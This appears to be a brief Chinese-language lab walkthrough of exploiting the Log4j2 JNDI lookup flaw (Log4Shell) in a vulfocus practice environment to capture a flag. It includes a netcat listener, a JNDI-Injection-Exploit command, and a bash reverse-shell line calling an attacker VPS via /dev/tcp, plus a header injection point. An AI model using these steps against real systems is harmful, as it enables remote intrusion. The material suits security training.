參考鏈接
https://www.cnblogs.com/xuzhujack/p/15673703.html
https://blog.csdn.net/weixin_44309905/article/details/122316579
工具鏈接
https://github.com/welk1n/JNDI-Injection-Exploit/releases
https://www.jackson-t.ca/runtime-exec-payloads.html
此次漏洞的出現,正是由用於 Log4j 2 提供的 lookup 功能造成的,該功能允許開發者通過一些協議去讀取相應環境中的配置。但在實現的過程中,並未對輸入進行嚴格的判斷,從而造成漏洞的發生。簡單來說,就是在打印日志時,如果發現日志內容中包含關鍵詞 ${,那么這個里面包含的內容會當做變量來進行替換,導致攻擊者可以任意執行命令。詳細漏洞披露可查看:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues 。由於線上 web 業務的任何數據都可能寫入 Log4j,甚至一些 pre-auth 的地方,比如注冊、登錄,實際攻擊入口取決於業務具體情況。
vulfocus開一個環境
參數為payload
burp抓個包
構造一下payload先dnslog回顯一下。
此時dnslog沒有新增
將payload進行url編碼后發送
dnslog有回顯
JNDI注入反彈shell
vps監聽本地端口2222 nc -lvp 2222
執行 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "編碼后的彈shell命令" -A "vpsip"
命令為 bash -i >& /dev/tcp/vpsip/nc監聽端口 0>&1
一般選沒有jdk版本的那個來構造payload
發送數據包過后 vps上是有顯示的
而nc監聽也是成功拿到了shell
直接查看tmp目錄下的flag
又綠了一個
log4j2 漏洞的請求頭的觸發點環境,請求頭 X-Api-Version字段